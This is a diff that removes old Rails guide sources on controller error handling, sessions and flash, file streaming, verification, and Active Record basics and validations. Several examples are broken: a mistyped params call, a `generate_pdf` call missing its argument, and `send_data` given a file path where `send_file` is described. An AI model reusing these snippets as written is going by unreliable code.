diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt
deleted file mode 100644
index 3353df61..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-== Rescue ==
-
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-
-=== The Default 500 and 404 Templates ===
-
-By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-
-=== `rescue_from` ===
-
-If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the `:with` option. You can also use a block directly instead of an explicit Proc object.
-
-Here's how you can use +rescue_from+ to intercept all ActiveRecord::RecordNotFound errors and do something with them.
-
-[source, ruby]
------------------------------------
-class ApplicationController < ActionController::Base
-
-  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
-
-private
-
-  def record_not_found
-    render :text => "404 Not Found", :status => 404
-  end
-
-end
------------------------------------
-
-Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-
-[source, ruby]
------------------------------------
-class ApplicationController < ActionController::Base
-
-  rescue_from User::NotAuthorized, :with => :user_not_authorized
-
-private
-
-  def user_not_authorized
-    flash[:error] = "You don't have access to this section."
-    redirect_to :back
-  end
-
-end
-
-class ClientsController < ApplicationController
-
-  # Check that the user has the right authorization to access clients.
-  before_filter :check_authorization
-
-  # Note how the actions don't have to worry about all the auth stuff.
-  def edit
-    @client = Client.find(params[:id])
-  end
-
-private
-
-  # If the user is not authorized, just throw the exception.
-  def check_authorization
-    raise User::NotAuthorized unless current_user.admin?
-  end
-
-end
------------------------------------
-
-NOTE: Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[article] on the subject for more information.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt
deleted file mode 100644
index ae5f8767..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt
+++ /dev/null
@@ -1,187 +0,0 @@
-== Session ==
-
-Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-
- * CookieStore - Stores everything on the client.
- * DRbStore - Stores the data on a DRb server.
- * MemCacheStore - Stores the data in a memcache.
- * ActiveRecordStore - Stores the data in a database using Active Record.
-
-All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).
-
-Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.
-
-Read more about session storage in the link:../security.html[Security Guide].
-
-If you need a different session storage mechanism, you can change it in the `config/environment.rb` file:
-
-[source, ruby]
-------------------------------------------
-# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
-config.action_controller.session_store = :active_record_store
-------------------------------------------
-
-=== Disabling the Session ===
-
-Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the `session` class method in your controller:
-
-[source, ruby]
-------------------------------------------
-class ApplicationController < ActionController::Base
-  session :off
-end
-------------------------------------------
-
-You can also turn the session on or off for a single controller:
-
-[source, ruby]
-------------------------------------------
-# The session is turned off by default in ApplicationController, but we
-# want to turn it on for log in/out.
-class LoginsController < ActionController::Base
-  session :on
-end
-------------------------------------------
-
-Or even for specified actions:
-
-[source, ruby]
-------------------------------------------
-class ProductsController < ActionController::Base
-  session :on, :only => [:create, :update]
-end
-------------------------------------------
-
-=== Accessing the Session ===
-
-In your controller you can access the session through the `session` instance method.
-
-NOTE: There are two `session` methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.
-
-Session values are stored using key/value pairs like a hash:
-
-[source, ruby]
-------------------------------------------
-class ApplicationController < ActionController::Base
-
-private
-
-  # Finds the User with the ID stored in the session with the key :current_user_id
-  # This is a common way to handle user login in a Rails application; logging in sets the
-  # session value and logging out removes it.
-  def current_user
-    @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id])
-  end
-
-end
-------------------------------------------
-
-To store something in the session, just assign it to the key like a hash:
-
-[source, ruby]
-------------------------------------------
-class LoginsController < ApplicationController
-
-  # "Create" a login, aka "log the user in"
-  def create
-    if user = User.authenticate(params[:username, params[:password])
-      # Save the user ID in the session so it can be used in subsequent requests
-      session[:current_user_id] = user.id
-      redirect_to root_url
-    end
-  end
-
-end
-------------------------------------------
-
-To remove something from the session, assign that key to be `nil`:
-
-[source, ruby]
-------------------------------------------
-class LoginsController < ApplicationController
-
-  # "Delete" a login, aka "log the user out"
-  def destroy
-    # Remove the user id from the session
-    session[:current_user_id] = nil
-    redirect_to root_url
-  end
-
-end
-------------------------------------------
-
-To reset the entire session, use `reset_session`.
-
-=== The flash ===
-
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
-
-[source, ruby]
-------------------------------------------
-class LoginsController < ApplicationController
-
-  def destroy
-    session[:current_user_id] = nil
-    flash[:notice] = "You have successfully logged out"
-    redirect_to root_url
-  end
-
-end
-------------------------------------------
-
-The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
-
-------------------------------------------
-<html>
-  <!-- <head/> -->
-  <body>
-    <% if flash[:notice] -%>
-      <p class="notice"><%= flash[:notice] %></p>
-    <% end -%>
-    <% if flash[:error] -%>
-      <p class="error"><%= flash[:error] %></p>
-    <% end -%>
-    <!-- more content -->
-  </body>
-</html>
-------------------------------------------
-
-This way, if an action sets an error or a notice message, the layout will display it automatically.
-
-If you want a flash value to be carried over to another request, use the `keep` method:
-
-[source, ruby]
-------------------------------------------
-class MainController < ApplicationController
-
-  # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
-  # UsersController#index. If an action sets the flash and redirects here, the values would normally be
-  # lost when another redirect happens, but you can use keep to make it persist for another request.
-  def index
-    flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
-    redirect_to users_url
-  end
-
-end
-------------------------------------------
-
-==== +flash.now+ ====
-
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
-
-[source, ruby]
-------------------------------------------
-class ClientsController < ApplicationController
-
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      # ...
-    else
-      flash.now[:error] = "Could not save client"
-      render :action => "new"
-    end
-  end
-
-end
-------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt
deleted file mode 100644
index dc8ebe6d..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt
+++ /dev/null
@@ -1,91 +0,0 @@
-== Streaming and File Downloads ==
-
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, that will both stream data to the client. `send_file` is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-
-To stream data to the client, use `send_data`:
-
-[source, ruby]
-----------------------------
-require "prawn"
-class ClientsController < ApplicationController
-
-  # Generate a PDF document with information on the client and return it.
-  # The user will get the PDF as a file download.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf")
-  end
-
-private
-
-  def generate_pdf(client)
-    Prawn::Document.new do
-      text client.name, :align => :center
-      text "Address: #{client.address}"
-      text "Email: #{client.email}"
-    end.render
-  end
-
-end
-----------------------------
-
-The `download_pdf` action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
-
-=== Sending Files ===
-
-If you want to send a file that already exists on disk, use the `send_file` method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.
-
-[source, ruby]
-----------------------------
-class ClientsController < ApplicationController
-
-  # Stream a file that has already been generated and stored on disk
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf")
-  end
-
-end
-----------------------------
-
-This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
-
-WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
-
-=== RESTful Downloads ===
-
-While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
-
-[source, ruby]
-----------------------------
-class ClientsController < ApplicationController
-
-  # The user can request to receive this resource as HTML or PDF.
-  def show
-    @client = Client.find(params[:id])
-
-    respond_to do |format|
-      format.html
-      format.pdf{ render :pdf => generate_pdf(@client) }
-    end
-  end
-
-end
-----------------------------
-
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
-
-[source, ruby]
-----------------------------
-Mime::Type.register "application/pdf", :pdf
-----------------------------
-
-NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-
-Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-
-----------------------------
-GET /clients/1.pdf
-----------------------------
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt
deleted file mode 100644
index 5d8ee611..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-== Verification ==
-
-Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the `params`, `session` or `flash` hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the link:http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html[API documentation] as "essentially a special kind of before_filter".
-
-Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
-
-[source, ruby]
----------------------------------------
-class LoginsController < ApplicationController
-
-  verify :params => [:username, :password],
-         :render => {:action => "new"},
-         :add_flash => {:error => "Username and password required to log in"}
-
-  def create
-    @user = User.authenticate(params[:username], params[:password])
-    if @user
-      flash[:notice] = "You're logged in"
-      redirect_to root_url
-    else
-      render :action => "new"
-    end
-  end
-
-end
----------------------------------------
-
-Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter:
-
-[source, ruby]
----------------------------------------
-class LoginsController < ApplicationController
-
-  verify :params => [:username, :password],
-         :render => {:action => "new"},
-         :add_flash => {:error => "Username and password required to log in"},
-         :only => :create # Only run this verification for the "create" action
-
-end
----------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/active_record_basics.txt b/vendor/rails/railties/doc/guides/source/active_record_basics.txt
deleted file mode 100644
index 892adb2d..00000000
--- a/vendor/rails/railties/doc/guides/source/active_record_basics.txt
+++ /dev/null
@@ -1,181 +0,0 @@
-Active Record Basics
-====================
-
-Active Record is a design pattern that mitigates the mind-numbing mental gymnastics often needed to get your application to communicate with a database. This guide uses a mix of real-world examples, metaphors and detailed explanations of the actual Rails source code to help you make the most of ActiveRecord.
-
-After reading this guide readers should have a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer.
-
-== ORM The Blueprint of Active Record
-
-If Active Record is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping” and is a programming concept used to make structures within a system relational. As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described.
-
-== Active Record The Engine of Rails
-
-Active Record is a design pattern used to access data within a database. The name “Active Record” was coined by Martin Fowler in his book “Patterns of Enterprise Application Architecture”. Essentially, when a record is returned from the database instead of being just the data it is wrapped in a class, which gives you methods to control that data with. The rails framework is built around the MVC (Model View Controller) design patten and the Active Record is used as the default Model. 
-
-The Rails community added several useful concepts to their version of Active Record, including inheritance and associations, which are extremely useful for web applications. The associations are created by using a DSL (domain specific language) of macros, and inheritance is achieved through the use of STI (Single Table Inheritance) at the database level.
-
-By following a few simple conventions the Rails Active Record will automatically map between:
-
-* Classes & Database Tables
-* Class attributes & Database Table Columns
-
-=== Rails Active Record Conventions
-Here are the key conventions to consider when using Active Record.
-
-==== Naming Conventions
-Database Table - Plural with underscores separating words i.e. (book_clubs)
-Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) 
-Here are some additional Examples:
-
-[grid="all"]
-`-------------`---------------
-Model / Class Table / Schema
-----------------------------
-Post          posts
-LineItem      line_items
-Deer          deer
-Mouse         mice
-Person        people
-----------------------------
-
-==== Schema Conventions
-
-To take advantage of some of the magic of Rails database tables must be modeled 
-to reflect the ORM decisions that Rails makes.
-
-[grid="all"]
-`-------------`---------------------------------------------------------------------------------
-Convention
--------------------------------------------------------------------------------------------------
-Foreign keys  These fields are named table_id i.e. (item_id, order_id)
-Primary Key   Rails automatically creates a primary key column named "id" unless told otherwise.
--------------------------------------------------------------------------------------------------
-
-==== Magic Field Names
-
-When these optional fields are used in your database table definition they give the Active Record
-instance additional features. 
-
-NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword
-used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous 
-keyword like "context", that may still accurately describe the data you are modeling.
-
-[grid="all"]
-`------------------------`------------------------------------------------------------------------------
-Attribute                 Purpose
-------------------------------------------------------------------------------------------------------
-created_at / created_on  Rails stores the current date & time to this field when creating the record.
-updated_at / updated_on  Rails stores the current date & time to this field when updating the record.
-lock_version             Adds optimistic locking to a model link:http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[more about optimistic locking].
-type                     Specifies that the model uses Single Table Inheritance link:http://api.rubyonrails.com/classes/ActiveRecord/Base.html[more about STI].
-id                       All models require an id. the default is name is "id" but can be changed using the "set_primary_key" or "primary_key" methods.
-_table_name_\_count       Can be used to caches the number of belonging objects on the associated class.
-------------------------------------------------------------------------------------------------------
-
-By default rails assumes all tables will use “id” as their primary key to identify each record. Though fortunately you won’t have explicitly declare this, Rails will automatically create that field unless you tell it not to.
-
-For example suppose you created a database table called cars:
-
-[source, sql]
--------------------------------------------------------
-mysql> CREATE TABLE cars (
-         id INT,
-         color VARCHAR(100),
-         doors INT,
-         horses INT,
-         model VARCHAR(100)
-       );
--------------------------------------------------------
-
-Now you created a class named Car, which is to represent an instance of a record from your table. 
-
-[source, ruby]
-------------------------------------------------------- 
-class Car
-end
--------------------------------------------------------
-
-As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships.
-
-[source, ruby]
--------------------------------------------------------
->> c = Car.new
-=> #<Class:0x11e1e90>
->> c.doors
-NoMethodError: undefined method `doors' for #<Class:0x11e1e90>
-        from (irb):2
--------------------------------------------------------
-
-Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API: 
-“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.”
-Lets try our Car class again, this time inheriting from ActiveRecord.
-
-[source, ruby]
--------------------------------------------------------
-class Car < ActiveRecord::Base
-end
--------------------------------------------------------
-
-Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example.
-
-[source, ruby]
--------------------------------------------------------
->> c = Car.new
-=> #<Car id: nil, doors: nil, color: nil, horses: nil, model: nil>
->> c.doors
-=> nil
--------------------------------------------------------
-
-Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations.
-- Associations between objects controlled by meta-programming macros.
-
-== Philosophical Approaches & Common Conventions
-Rails has a reputation of being a zero-config  framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configuration”, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Rails”. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord
-
-== ActiveRecord Magic
- - timestamps
- - updates
-
-== How ActiveRecord Maps your Database.
-- sensible defaults
-- overriding conventions
-
-== Growing Your Database Relationships Naturally
-
-== Attributes
- - attribute accessor method. How to override them?
- - attribute?
- - dirty records
- - 
-== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord
-
-== Validations & Callbacks
-- Validations
-    *  create!
-    * validates_acceptance_of
-    * validates_associated
-    * validates_confirmation_of
-    * validates_each
-    * validates_exclusion_of
-    * validates_format_of
-    * validates_inclusion_of
-    * validates_length_of
-    * validates_numericality_of
-    * validates_presence_of
-    * validates_size_of
-    * validates_uniqueness_of
- - Callback
-    * (-) save
-    * (-) valid
-    * (1) before_validation
-    * (2) before_validation_on_create
-    * (-) validate
-    * (-) validate_on_create
-    * (3) after_validation
-    * (4) after_validation_on_create
-    * (5) before_save
-    * (6) before_create
-    * (-) create
-    * (7) after_create
-    * (8) after_save
diff --git a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt
deleted file mode 100644
index fd6eb86b..00000000
--- a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt
+++ /dev/null
@@ -1,404 +0,0 @@
-Active Record Validations and Callbacks
-=======================================
-
-This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.
-
-After reading this guide and trying out the presented concepts, we hope that you'll be able to:
-
-* Correctly use all the built-in Active Record validation helpers
-* Create your own custom validation methods
-* Work with the error messages generated by the validation proccess
-* Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
-* Create special classes that encapsulate common behaviour for your callbacks
-* Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
-
-== Motivations to validate your Active Record objects
-
-The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly. 
-
-There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:
-
-* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
-* Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
-* Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
-
-== How it works
-
-=== When does validation happens?
-
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it'll be recorded to it's table. Active Record uses the +new_record?+ instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-end
-------------------------------------------------------------------
-
-We can see how it works by looking at the following script/console output:
-
-------------------------------------------------------------------
->> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
-=> #<Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil>
->> p.new_record?
-=> true
->> p.save
-=> true
->> p.new_record?
-=> false
-------------------------------------------------------------------
-
-Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either +save+, +update_attribute+ or +update_attributes+) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
-
-=== The meaning of 'valid'
-
-For verifying if an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The proccess is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
-
-== The declarative validation helpers
-
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's +errors+ collection, this message being associated with the field being validated. 
-
-Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.
-
-All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one the values +:save+ (it's the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.
-
-=== The +validates_acceptance_of+ helper
-
-Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_acceptance_of :terms_of_service
-end
-------------------------------------------------------------------
-
-The default error message for +validates_acceptance_of+ is "_must be accepted_"
-
-+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_acceptance_of :terms_of_service, :accept => 'yes'
-end
-------------------------------------------------------------------
-
-
-=== The +validates_associated+ helper
-
-You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
-
-[source, ruby]     
-------------------------------------------------------------------
-class Library < ActiveRecord::Base
-  has_many :books
-  validates_associated :books
-end
-------------------------------------------------------------------
-
-This validation will work with all the association types.
-
-CAUTION: Pay attention not to use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
-
-The default error message for +validates_associated+ is "_is invalid_". Note that the errors for each failed validation in the associated objects will be set there and not in this model.
-
-=== The +validates_confirmation_of+ helper
-
-You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_confirmation_of :email
-end
-------------------------------------------------------------------
-
-In your view template you could use something like
-------------------------------------------------------------------
-<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-------------------------------------------------------------------
-
-NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_confirmation_of :email
-  validates_presence_of :email_confirmation
-end
-------------------------------------------------------------------
-
-The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_"
-
-=== The +validates_each+ helper
-
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_each :name, :surname do |model, attr, value|
-    model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
-  end
-end
-------------------------------------------------------------------
-
-The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.
-
-=== The +validates_exclusion_of+ helper
-
-This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-
-[source, ruby]
-------------------------------------------------------------------
-class MovieFile < ActiveRecord::Base
-  validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed"
-end
-------------------------------------------------------------------
-
-The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
-
-The default error message for +validates_exclusion_of+  is "_is not included in the list_".
-
-=== The +validates_format_of+ helper
-
-This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the +:with+ option.
-
-[source, ruby]
-------------------------------------------------------------------
-class Product < ActiveRecord::Base
-  validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed"
-end
-------------------------------------------------------------------
-
-The default error message for +validates_format_of+ is "_is invalid_".
-
-=== The +validates_inclusion_of+ helper
-
-This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-
-[source, ruby]
-------------------------------------------------------------------
-class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size"
-end
-------------------------------------------------------------------
-
-The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
-
-The default error message for +validates_inclusion_of+  is "_is not included in the list_".
-
-=== The +validates_length_of+ helper
-
-This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_length_of :name, :minimum => 2
-  validates_length_of :bio, :maximum => 500
-  validates_length_of :password, :in => 6..20
-  validates_length_of :registration_number, :is => 6
-end
-------------------------------------------------------------------
-
-The possible length constraint options are:
-
-* +:minimum+ - The attribute cannot have less than the specified length.
-* +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. 
-* +:is+ - The attribute length must be equal to a given value.
-
-The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the +:message+ option to specify an error message.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
-end
-------------------------------------------------------------------
-
